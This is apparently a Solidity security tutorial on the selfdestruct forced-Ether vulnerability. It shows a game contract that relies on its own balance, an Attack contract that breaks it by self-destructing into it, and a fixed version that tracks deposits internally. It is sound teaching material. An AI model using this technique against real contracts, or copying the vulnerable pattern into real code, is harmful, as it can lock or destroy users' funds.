Self Destruct

Contracts can be deleted from the blockchain by calling selfdestruct.

selfdestruct sends all remaining Ether stored in the contract to an designated address.

Vulnerability

A malicious contract can use selfdestruct to force send Ether to any contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) public {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Preventative Techniques

Don't rely on address(this).balance

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

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